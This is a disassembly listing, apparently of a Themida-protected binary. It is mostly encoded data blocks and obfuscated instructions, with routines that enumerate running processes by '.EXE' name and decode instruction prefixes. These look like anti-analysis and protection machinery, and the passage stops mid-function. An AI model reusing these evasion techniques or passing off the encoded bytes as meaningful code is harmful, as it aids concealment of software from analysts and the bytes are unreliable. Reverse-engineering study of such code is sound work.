		dd 0C3E95150h, 820F26E8h, 1Bh, 158D0Fh,	10E90000h, 0D8000000h
		dd 64DFD878h, 0C0EFEA21h, 0CD7F3A15h, 0FF21F666h, 5E9D0h
		dd 623E0000h, 0F8C019Ah, 48Ch, 0CA8B6000h, 0ED858961h
		dd 0FC060E22h, 2F1185C6h, 6050060Eh, 3C53CE81h,	0BB66245Bh
		dd 6861679Bh, 6CCE39ADh, 0E9C38B60h, 0Ch, 217ABEEBh, 40AEDBA0h
		dd 2F77F1C8h, 24048161h, 2ACEA2A9h, 0F8BF0F60h,	0F61FA8Bh
		dd 0B8Ch, 6E900h, 11690000h, 92D1E95Fh,	19F5B5FFh, 8DFC060Eh
		dd 0E3BAD85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 6602745h,	6160B448h, 6AD0FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 6437EFC3h, 0B70F6039h, 52BA66FBh, 85896174h,	60E0985h
		dd 64F3B960h, 81663830h, 61637CDEh, 180E9h, 1830F00h, 0FC000000h
		dd 1810Fh, 50F90000h, 14E9h, 71975F00h,	527555DAh, 4EE7CD66h
		dd 3C17CB31h, 6CFB93D8h, 242C890Eh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 21C35141h, 0D6806073h, 0B866601Fh
		dd 6E9A584h, 2B000000h,	0E56A8495h, 6061614Ch, 8B5B5660h
		dd 8B6161F8h, 0C483F9ECh, 860F60FCh, 0Fh, 9E8h,	9B0D4C00h
		dd 0CDCA8B7Dh, 0E958A603h, 0Eh,	0A7ED9255h, 7BD25209h
		dd 8302135Fh, 606155A2h, 18E0Fh, 0E8F90000h, 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 6138F60h
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [edx+60E02C1h], 1
		jz	loc_5A260F
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+60E2F5Dh]
		pop	edx
		mov	[edx+61389B3h],	eax
		lea	ebx, [edx+61389B7h]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+60E33E9h]
		pop	edx


loc_5A259F:				; CODE XREF: Themida_:005A25C9j
					; Themida_:005A25FDj
		push	edx
		lea	ebx, [edx+61389B7h]
		push	ebx
		push	dword ptr [edx+61389B3h]
		call	dword ptr [edx+60E0985h]
		pop	edx
		or	eax, eax
		jz	short loc_5A2608
		lea	ebx, [edx+61389B7h]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5A25C3:				; CODE XREF: Themida_:005A25D3j
		cmp	ecx, 104h
		jz	short loc_5A259F
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5A25C3
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+60E04DDh]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+60E04DDh]
		push	eax
		call	dword ptr [edx+60E22EDh]
		pop	edx
		or	eax, eax
		jnz	short loc_5A259F
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5A260F
; ---------------------------------------------------------------------------


loc_5A2608:				; CODE XREF: Themida_:005A25B6j
		mov	dword ptr [ebp-4], 0


loc_5A260F:				; CODE XREF: Themida_:005A2571j
					; Themida_:005A2606j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		jo	loc_5A2634
		jmp	loc_5A2634
; ---------------------------------------------------------------------------
		dw 0E9E4h
		dd 97FD85F8h, 65AB2B3Fh, 8EDF2232h, 0ACABA4B0h
; ---------------------------------------------------------------------------


loc_5A2634:				; CODE XREF: Themida_:005A2617j
					; Themida_:005A261Dj
		pusha
		cmc
		mov	dl, 0A2h
		popa
		mov	edx, edx
		dec	eax
		sbb	eax, 0B1241EA2h
		xchg	ch, [edx]
		cdq
		insd
; ---------------------------------------------------------------------------
		db 0C4h, 0F3h, 0B1h
		dd 0A07D07Fh, 0DC7BAC3Bh, 0C5FD7D7Eh, 79803E8Bh, 7432408Bh
		dd 0A2D0D0FFh, 6B1CD40Bh, 7A3F0486h, 0BF3D7C3Dh, 1D327D3Dh
		dd 8A1394C3h, 0FAB17D3Bh, 0A53C52C6h, 0D9B6723Bh, 63327D3Bh
		dd 703F94C5h, 0B7C77D3Bh, 0EA222BEh, 0DB32173Dh, 47327ED3h
		dd 606F5D3Bh, 0F55EF466h, 0CC76FC3Fh, 74326B3Fh, 0F967383Bh
		dd 0F4C068F3h, 8E327D36h, 0F202BA88h, 15831D93h, 2A8B9758h
		dd 6354ED19h, 0F23D2DCBh, 3A327D33h, 1D30FF34h,	0D0607D3Bh
		dd 123217ABh, 0A3327ED3h, 126F5D3Bh, 0CC5EF466h, 5076FC3Fh
		dd 3A32663Fh, 0DE67383Bh, 0C0364E66h, 6BB0998Bh, 598D725Bh
		dd 5C53A5B0h, 0FBA23CBEh, 7420943Dh, 9FD77D3Bh,	81B63AEEh
		dd 526E1A69h, 0EFCCED56h, 0ADC8C958h, 0D1327AD2h, 0B1545B3Bh
		dd 2129BE99h, 3A3994ABh, 576A7D3Bh, 744770F5h, 2636A1DEh
		dd 18832DC8h, 8572ABh, 0C71FE8C4h, 74587B35h, 3A31956Eh
		dd 40127D3Bh, 0E2BB20F8h, 3B3791Fh, 0A329791Fh,	84777D3Bh
		dd 0B72314F8h, 25A0ACD2h, 3A239480h, 41297D3Bh,	0E2975F8Bh
		dd 0DE36A92Bh, 0E485DCC2h, 5A1298EDh, 0BF3217FBh, 74327ED3h
		dd 0F96D5D3Bh, 394EF464h, 0AA76FC3Fh, 47326B3Fh, 60653A3Bh
		dd 52C8805Dh, 0E63C5C86h, 7D477D3Dh, 35F7C0B8h,	69327B35h
		dd 5612D22h, 4348C5FBh,	26BB7D3Bh, 0D73C60A6h, 405EE0B6h
		dd 0A7CD7B2Bh, 87B12560h, 1B3C72FEh, 0DE25093Bh, 4348C568h
		dd 26BB7D3Bh, 0D73C60A6h, 4D69E0B6h, 0A7CD7B2Bh, 3A582560h
		dd 1D31956Dh, 0D0127D3Bh, 33BB23F8h, 0E7B3791Fh, 0D12F791Fh
		dd 0BE747D3Bh, 0FBED54F8h, 2629A1F9h, 0F5767213h, 8E327D32h
		dd 0A7E42559h, 0D6426BD5h, 0B0522E34h, 0BB522762h, 74326DD2h
		dd 71C63C3Bh, 1A52D300h, 0FD33967Bh, 0AFA5BD5Ah, 0C5612411h
		dd 0B06ABEB0h, 0E858BDB0h, 74319569h, 60127D3Bh, 49BB27F8h
		dd 0CAB3791Fh, 4725791Fh, 0F1707D3Bh, 0B4026AF8h, 75BF85D2h
		dd 7221ED72h, 2723584h,	48B7F024h, 0E4346EB3h, 44DA2D3Bh
		dd 83327D3Bh, 586ABE63h, 6936597Fh, 6036597Fh, 7A327D3Bh
		dd 0A835BE6Bh, 0F88C1B52h, 0AFE282B0h, 0A3327D33h, 0A62AD76Ah
		dd 11FB8FC7h, 0C4EBFC5Dh, 0FA3924C8h, 1D5FF934h, 0DC527D3Bh
		dd 473274D2h, 3847C93Bh, 8855A87Eh, 8E68508Ah, 0F953B6B0h
		dd 347FACA6h, 0A5E3F73Dh, 8E327D38h, 0AF647D51h, 0A3327D38h
		dd 8FF1231Bh, 0EC1609B2h, 701639BAh, 3A327D20h,	0F0F12B7Dh
		dd 8555191h, 0BBFB39E0h, 40CDABB0h, 39617D51h, 0E8327D38h
		dd 2FF1261Bh, 3E1621B2h, 191639BAh, 8E327D20h, 87F12E78h
		dd 0A6035D02h, 5CA7BC80h, 0FBA22CA6h, 2632173Dh, 3A327ED3h
		dd 0DE685D3Bh, 0AA66F461h, 6376FC3Fh, 0A3326A3Fh, 12603F3Bh
		dd 0F125634Bh, 0FC67F8B6h, 6807B28h, 15DAADC4h,	91327D3Bh
		dd 41E388C8h, 4A1A0254h, 0D1327D29h, 8077495Eh,	961DFFC2h
		dd 86E1EECBh, 5DFD439Ch, 856DBFD8h, 28B672FBh, 0C9327D3Bh
		dd 0D2DA2B3Bh, 0C8327D3Bh, 0FD6CBE65h, 0BB36594Fh, 736597Fh
		dd 0C8327D3Bh, 3106BE6Dh, 79882D3Ah, 288D1B7Bh,	39AFF07Ch
		dd 7B347376h, 3A3278B0h, 0FE5EC43Bh, 8F8A25C4h,	2D327D3Bh
		dd 0A0DA2D3Bh, 0F1327D3Bh, 616ABE63h, 0F536597Fh, 2136597Fh
		dd 5D327D3Bh, 369CBE6Bh, 567E9502h, 143D627Fh, 81D182EBh
		dd 0E831F534h, 0FF547D3Bh, 0A7BF27F3h, 1B21ED6Dh, 5DCFC5Dh
		dd 42B572E2h, 1D327D3Bh, 0D652761Dh, 6067F8B6h,	0A98D7B28h
		dd 0C542CE60h, 15B972EBh, 81327D3Bh, 47327FB3h,	0ACDDF73Bh
		dd 11398384h, 0E843F934h, 74587D3Bh, 3A31956Ah,	44127D3Bh
		dd 0C2BB24F8h, 3B3791Fh, 0A32A791Fh, 80737D3Bh,	0F538A4F8h
		dd 0CB3D87A4h, 0EBAFF0C4h, 77347376h, 8DDA2D3Bh, 67327D3Bh
		dd 2A6ABE63h, 5036597Fh, 0F536597Fh, 34327D3Bh,	8523BE6Bh
		dd 0AD959308h, 282923BCh, 0C6CBCA34h, 5E2DD0CDh, 0D131C56Fh
		dd 0BCD7D3Bh, 743273D2h, 0B553353Bh, 7C14DA0Fh,	8267A6C6h
		dd 4CE8D7Eh, 6A198FBAh,	6CBF0E12h, 0EE21ED04h, 0E08CF0B6h
		dd 478A7B28h, 2EB83667h, 803934BEh, 5CFD563Dh, 0FBA22CA6h
		dd 2632173Dh, 3A327ED3h, 0DE685D3Bh, 0AA66F461h, 6376FC3Fh
		dd 0E9836A3Fh, 8BA4F305h, 8B6652C0h, 6A5FC8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BAB0FC3h
		dd 0F88B66C3h, 0CD80C08Bh, 21BD838Fh, 60E0Eh, 0BD830975h
		dd 60E0FC5h, 50197400h,	0B8C08B53h, 47Ah, 15C58589h, 9D8D060Eh
		dd 610A8D3h, 585BD3FFh,	0FC5BD83h, 7400060Eh, 0B8535017h
		dd 47Ah, 15C58589h, 9D8D060Eh, 610A574h, 585BD3FFh, 0CA7FF181h
		dd 66602261h, 0CD3EE81h, 8B6158B7h, 266E9C0h, 66600000h
		dd 0C1F6D98Ch, 35840F04h, 6A000000h, 0F5B5FF01h, 8D060E19h
		dd 116F7485h, 89D0FF06h, 0E077985h, 0C1FE8B06h,	680CEFh
		dd 6A200600h, 57026A00h, 1000D68h, 7995FF00h, 0E9060E07h
		dd 32h,	2F1185C6h, 6856060Eh, 0A9C530DFh, 0C3DB5FFh, 858D060Eh
		dd 6116F74h, 8589D0FFh,	60E06E9h, 229D858Dh, 6A50060Eh
		dd 56056A40h, 6E995FFh,	0C361060Eh, 3 dup(0)
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+61395E8h],	eax
		mov	eax, [edx+0Ch]
		mov	[ebp+61395E0h],	eax
		mov	eax, [edx+10h]
		mov	[ebp+61395E4h],	eax
		lea	esi, [ebp+613961Eh]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	esi, [ebp+61395E8h]
		mov	eax, [ebp+61395E0h]
		cmp	dword ptr [ebp+61395E4h], 0
		jz	loc_5A2C3A
		mov	[esi], eax
		jmp	locret_5A2C3C
; ---------------------------------------------------------------------------


loc_5A2C3A:				; CODE XREF: Themida_:005A2C2Dj
		mov	[esi], al

locret_5A2C3C:				; CODE XREF: Themida_:005A2C35j
		iret
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd 0D48B5200h, 8428B60h, 95E88589h, 0B58D0613h,	613966Fh
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 61395E8h, 8B0004C2h
		dd 1395E885h, 89008B06h, 1395E885h, 0CF06h, 89600000h
		dd 139645B5h, 41858906h, 8D061396h, 0E1E7D85h, 44408B06h
		dd 967E8589h, 0B58D0613h, 61396B4h, 8EA1858Dh, 0D0FF005Bh
		dd 45858B61h, 0C3061396h, 96419D8Bh, 0B70F0613h, 0D8033C43h
		dd 3785B8Bh, 1396419Dh,	24738B06h, 9641B503h, 8B560613h
		dd 738B207Bh, 41BD031Ch, 3061396h, 139641B5h, 0C983FC06h
		dd 9D8B41FFh, 6139645h,	9503178Bh, 6139641h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 6139641h,	96458589h, 0F08B0613h, 0C18BCE8Bh
		dd 967EBD81h, 613h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
		dd 12E8C100h, 3FF825h, 7EBD8B00h, 83061396h, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 967EBD81h, 613h
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 7EBD8100h, 61396h, 0FC03000h, 0E84h,	3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 95EC858Dh, 85890613h, 60E0339h
		dd 9682858Dh, 85890613h, 60E3459h, 9649858Dh, 85890613h
		dd 60E02D1h, 98AE8D8Dh,	0B58B0613h, 60E1939h, 2FC58D89h
		dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0B8E316C3h, 0C7097B14h, 0E088185h, 687006h
		dd 0A5B58900h, 0C7060E24h, 0E28D985h, 6, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0CA9F6D45h, 85BABDA9h, 0B5FF2027h, 60E1889h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0BBC35747h, 146D78B3h
		dd 0C215D8DEh, 90DA811Ah, 664BA927h, 0FF8536BEh, 0E09B995h
		dd 7DBD8B06h, 6A060E20h, 4595FF00h, 8B060E0Fh, 971FEBC0h
		dd 0C73EEF48h, 7291D055h, 0BBCE905Dh, 0BD41D2F0h, 6E54E442h
		dd 0AFBA5F4Ch, 0E14FE3BBh, 8D8D9116h, 61399C3h,	0DE9h
		dd 0C0D31700h, 1A36C789h, 3465DDCEh, 8D896845h,	60E2FC5h
		dd 0C7D1B70Fh, 0E088185h, 5C6C06h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0DA8BED8Eh
		dd 0A911ABD7h, 8529536Ah, 60E200Dh, 0D985C75Fh,	60E28h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0F534C356h, 0EE9h, 0C9FC0400h
		dd 33791A93h, 0B89965E0h, 8B684AFAh, 0E070D9Dh,	0A1B5FF06h
		dd 6A060E1Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 65D4C352h, 5E9BF45h, 0FE000000h
		dd 13C71C48h, 7B610BAh,	0B995FF61h, 0E9060E09h,	14h, 2E832E3Dh
		dd 8F5CE829h, 728F0FF9h, 0AA6C173Bh, 162A5C15h,	95FF006Ah
		dd 60E0F45h, 3AEBC08Bh,	385A2BF0h, 9EB62253h, 7F6E99D3h
		dd 0CEC791h, 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh
		dd 23DC6A45h, 0CBA9C0B3h, 0D20702AFh, 0A1418EDEh, 0EE85CB2Fh
		dd 1F2FB561h, 0AE8ED4Fh, 0F3000000h, 538BC46Bh,	277DDFA7h
		dd 0A1BD89A8h, 59060E34h, 58D68B57h, 5BA0C181h,	8A0F0000h
		dd 4, 0B147BA66h, 2BF646BBh, 0FFF38126h, 8B262BE0h, 0E3109BDh
		dd 0F318B06h, 0F681C0B7h, 4C1A79BDh, 0FEB70F57h, 8AC6815Fh
		dd 0E92482DAh, 12h, 9B02BB30h, 150C0578h, 84161AAEh, 1819A7BDh
		dd 0C681D27Ch, 0DECBF28h, 89C68B66h, 0D78B6631h, 0AB5DE981h
		dd 890F116Fh, 0
; ---------------------------------------------------------------------------
		add	ecx, 116FAB59h
		movsx	edx, cx
		dec	ebx
		jnz	loc_5A30A1
		jmp	near ptr loc_5A30C1+2
; ---------------------------------------------------------------------------
		db 7Fh,	0B0h, 4Fh
		dd 0A8019E74h, 69C788Ch
		db 4Ch
; ---------------------------------------------------------------------------


loc_5A30A1:				; CODE XREF: Themida_:005A308Aj
		call	near ptr loc_5A30AF+2
		inc	eax
		lock and [esi],	edi
		add	[eax+29h], ecx
		jb	short near ptr dword_5A2C44+430h


loc_5A30AF:				; CODE XREF: Themida_:loc_5A30A1p
		mov	[ebp-16A53975h], ah
		cmp	bh, 0FFh
		inc	ecx
		aas
		aad	0C9h
		cli
		shl	dword ptr [esi], 6Bh


loc_5A30C1:				; CODE XREF: Themida_:005A3090j
		jmp	near ptr 731A1Bh
; ---------------------------------------------------------------------------
		align 4
		dd 7173057Dh, 5	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A35C6
; ---------------------------------------------------------------------------
		db 9Fh,	0A8h, 0DDh
		dd 0C1827E19h, 0A46762FDh, 864B45E0h, 662F27C2h, 98CD77A2h
		dd 7813D7A0h, 59F4B87Fh, 3FDA9E5Bh, 73BF8342h, 2AA0E7A8h
		dd 0B7205D7Ah, 0F6B78609h, 5B69B093h, 7B975E57h, 2D82FDC4h
		dd 0BAD69592h, 5A1EE7DFh, 0E703C2BFh, 312C0F0Ch, 0CCD7F36Eh
		dd 536F322Dh, 0B0AC479Ch, 0B0BFDA9Bh, 4A0B5B69h, 5B69B0CFh
		dd 0C6410883h, 65D87C4Bh, 0CFF471E0h, 26BCD429h, 0CFCC1364h
		dd 0B3B14C10h, 999732F6h, 0ECE5C0DCh, 24400901h, 7AD6F26Dh
		dd 26246BBCh, 0D0AA569h, 0D735324Eh, 135B69FFh,	21D60455h
		dd 5AFF5FDh, 89h, 0F6B78697h, 5B69B093h, 0C45FB42Fh, 0E1EC08C7h
		dd 864C6E12h, 39690458h, 69581178h, 9736B15Bh, 0C885DA9Bh
		dd 5B695843h, 86F69AA5h, 6889923Fh, 9AEB69BEh, 0B0D97F23h
		dd 809EF9BAh, 0B7325B69h, 16B5E113h, 16B83FC1h,	16EAFF6h
		dd 0
		dd 0DDF9BAB6h, 29450602h, 0A7AB4F1Eh, 9177B3D3h, 0A0ACEBACh
		dd 0A9245B69h, 0FABFB954h, 358648DEh, 6D31F2EEh, 4716D5D2h
		dd 0B99DADA3h, 862AB7F5h, 1B579C4Bh, 3BFB501Dh,	0F5BEB6CDh
		dd 4102FED9h, 61B23025h, 9559221Ah, 223EFDFAh, 0A257317h
		dd 44440F31h, 965954EFh, 80D1937Ah, 0A9726A09h,	8735D254h
		dd 70F1AFF5h, 26000000h, 77CC8987h, 0F5BEB609h,	4003FED9h
		dd 7BCC8E24h, 0AF733C34h, 894845E4h, 0D72CEFEAh, 5F7B443Ch
		dd 2881B054h, 0BAD69592h, 0CFA65F03h, 0F1EB86DBh, 6729102Ch
		dd 0FB1FE816h, 6408AFF5h, 0A566F585h, 5B69C462h, 0A6BF63DEh
		dd 0BA86DB71h, 40h, 0F5BEB64Ch,	4300FED9h, 0EFD9D574h
		dd 7EA25A96h, 1C38B3D1h, 42F81065h, 30286FC0h, 0B635A367h
		dd 0E0DDF9BAh, 5B69B0BCh, 38AF00BEh, 0B061A869h, 66E15B69h
		dd 4C688F11h, 1BEAFF6h,	50000000h, 0DCF8BBB6h, 76450401h
		dd 0B0A3E6A7h, 801F5B69h, 0EEA5C186h, 2B061E73h, 8D4C4930h
		dd 233FBA71h, 6D894E48h, 86A9FA78h, 1057A866h, 0CF8E5215h
		dd 0C8895869h, 6177B4ACh, 6E12E15Ch, 94518E45h,	5C74C900h
		dd 0F7B4B251h, 34CF24DBh, 19B47837h, 7C3D391Ch,	5F2EA960h
		dd 0CF48CF90h, 6908A298h, 0D88FAB6Eh, 0F3F0085Dh, 0A298CF96h
		dd 120DAC7Bh, 5F58334Fh, 4AC57C98h, 0DF2677F5h,	0C45F23E2h
		dd 11EC08C7h, 44395514h, 312E75C6h, 804A372h, 0B032F247h
		dd 0B604CD47h, 144DFh, 0A6927100h, 318B4C1Bh, 0EF6177E2h
		dd 807D5874h, 5423F2C1h, 987E7493h, 9051CCA2h, 0A2987E09h
		dd 39F94EC9h, 14D1CF6Eh, 51EC41F8h, 9E799554h, 0D1C6E2A1h
		dd 0BEBB0253h, 3EB93BFFh, 0E8B6047Eh, 71h, 18A9927Ah, 0B0218849h
		dd 35D9DB69h, 59B09AA4h, 0EBEA8E67h, 1FF7F786h,	9914D72Ch
		dd 0D4CE727Dh, 92FDE0D8h, 0F920DD32h, 90DB69A2h, 0D235F6C5h
		dd 6EDB69A2h, 0CF209EF3h, 1BEAD764h, 0A20C8B4Ch, 25C4DB69h
		dd 9148642Dh, 35F6C116h, 5B69A2F2h, 5428E286h, 38DC2734h
		dd 0A55C783Fh, 9712D52Ah, 783908D3h, 5B69EB11h,	97E136B1h
		dd 91h,	0C7A69225h, 0A96A2D28h,	5B69B06Eh, 834A43E2h, 0BA35B067h
		dd 672A47EBh, 3F4A0A36h, 0EE5E1FEAh, 0EA617779h, 783F5A1Bh
		dd 1893A29Bh, 0A9A6819Dh, 900BC8C6h, 753431CCh,	83DE02A6h
		dd 8F33F2EFh, 99EEDDB9h, 0EC028481h, 8D0FA29Bh,	15F8F53Ch
		dd 15D9541Dh, 0EBB2AB4Ah, 4C318CFh, 0FDBE8D34h,	988F1652h
		dd 0CCD7F36Eh, 1D722F2Dh, 0F7C68582h, 44995E58h, 0C112D02Ch
		dd 10DFE256h, 0DB17871h, 0CDFD38F1h, 0E2AD02F4h, 0A33E2E21h
		dd 53179292h, 1BA692E5h, 4AC48B4Ch, 81FC617Dh, 0CE8D8A65h
		dd 8F726F0Ah, 3753CE97h, 262F5D3Ah, 60211D2Bh, 886D6944h
		dd 0F8AFCB8Ch, 9CB617Dh, 198041B8h, 0B9D9E27Bh,	0A769C33Eh
		dd 2F120F56h, 0A0577332h, 0C9C66125h, 1913EE0Ah, 0E9E68554h
		dd 2570E2Ah, 7FD08EEAh,	0AB6E6908h, 0E883D88Fh,	0F017D8EBh
		dd 50D9E27Bh, 0FB965AD5h, 99233FFEh, 3,	0B6813327h, 0FDD8F4BFh
		dd 4A254100h, 98738F4Ch, 0E1BCD89Fh, 290420E9h,	714C6831h
		dd 0BB96B277h, 6E1FDC0h, 692D490Ah, 5D5B68h, 24048900h
		dd 25BE68h, 24048900h, 81E68956h, 4C6h,	4EE8100h, 87000000h
		dd 895C2434h, 0BA52242Ch, 5FA75D9Ah, 0C773F281h, 0D08959B4h
		dd 8324148Bh, 8B5404C4h, 0C483242Ch, 0C1895104h, 8458F51h
		dd 242C8B59h, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 582434FFh
		dd 0E904C483h, 0FFFADEE0h, 0D33E63AAh, 0C4E4F2B9h
; ---------------------------------------------------------------------------
		jb	short loc_5A3618


loc_5A35C6:				; CODE XREF: Themida_:005A30E0j
		mov	eax, 6139F58h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 71h
		dd 0AB76ACEAh, 5B18B347h, 1A066D01h, 3159F370h,	0FF436876h
		dd 0B404ED3h, 7F194DDDh, 5443F805h, 1B59D102h, 140B81AEh
		dd 0E87A14BEh, 0Fh, 24355E59h, 4363C5AFh, 0BD71D075h, 6652EA32h
		dd 5F0257B9h, 0E7D18166h
; ---------------------------------------------------------------------------


loc_5A3618:				; CODE XREF: Themida_:005A35C4j
		out	81h, al		; DMA page register 74LS612:
					; Channel 2 (diskette DMA)  (address bits 16-23)
		mov	dword ptr [eax-17A00000h], 14h
		mov	esi, 0FCE75B76h
		retn	0F4BBh
; ---------------------------------------------------------------------------
		db 35h,	0F2h, 28h
		dd 0ABBBB775h, 69B57315h, 8C0817Dh, 5A0D2361h, 0CE960h
		dd 93A70000h, 23BE7238h, 5DAA8455h, 0BE661B58h,	61618E63h
		dd 17F668h, 2CBB5800h, 0FF19F06Ah, 5E61B537h, 81D68B66h
		dd 907839F6h, 6F3812Bh,	815F8B0Fh, 960C48F6h, 88F0F52h
		dd 0F000000h, 28Eh, 81D98A00h, 74E0F1C6h, 894FB16Fh, 839EB737h
		dd 816601EFh, 4FF52FF2h, 0F484F4Fh, 1B85h, 0C0F4BB00h
		dd 25E96006h, 30000000h, 0D39078E0h, 63EB2AEBh,	0D9E148C9h
		dd 3B3AC915h, 0E952E980h, 0FFFFFF97h, 94E8F9Bh,	0E32D105Bh
		dd 636C9E99h, 1C8E9h, 8	dup(41888800h),	4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 300h, 14h dup(0)
		dd 0CC200h, 758E29h, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 613A2B4h
		pusha
		mov	dword ptr [ebp+613A201h], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5A38DC
		mov	dword ptr [ebp+613A205h], 6
		jmp	loc_5A3900
; ---------------------------------------------------------------------------


loc_5A38DC:				; CODE XREF: Themida_:005A38C7j
		lea	eax, [ebp+613A209h]
		push	eax
		lea	eax, [ebp+613A259h]
		push	eax
		push	esi
		push	0
		call	sub_5A390F
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+613A205h],	eax


loc_5A3900:				; CODE XREF: Themida_:005A38D7j
		popa
		add	esi, [ebp+613A205h]
		mov	eax, [ebp+613A201h]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A390F	proc near		; CODE XREF: Themida_:005A38EDp

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_613A1F9	= dword	ptr  613A201h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5A393C
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5A3948
; ---------------------------------------------------------------------------


loc_5A393C:				; CODE XREF: sub_5A390F+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5A3948:				; CODE XREF: sub_5A390F+28j
		push	ebx
		push	esi
		push	edi


loc_5A394B:				; CODE XREF: sub_5A390F+91j
					; sub_5A390F+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A395E:				; CODE XREF: sub_5A390F+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 613A36Bh
		lea	ebp, [ebp+613A1E1h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A398B
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A395E


loc_5A398B:				; CODE XREF: sub_5A390F+6Bj
		cmp	cl, 0Bh
		jz	loc_5A39E8
		cmp	al, 66h
		jnz	loc_5A39C9
		cmp	[ebp+var_5], 0
		jnz	loc_5A394B
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5A39C1
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5A394B
; ---------------------------------------------------------------------------


loc_5A39C1:				; CODE XREF: sub_5A390F+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5A39C9:				; CODE XREF: sub_5A390F+87j
		cmp	al, 67h
		jnz	loc_5A394B
		cmp	[ebp+var_6], 0
		jnz	loc_5A394B
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5A394B
; ---------------------------------------------------------------------------


loc_5A39E8:				; CODE XREF: sub_5A390F+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A3A14
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
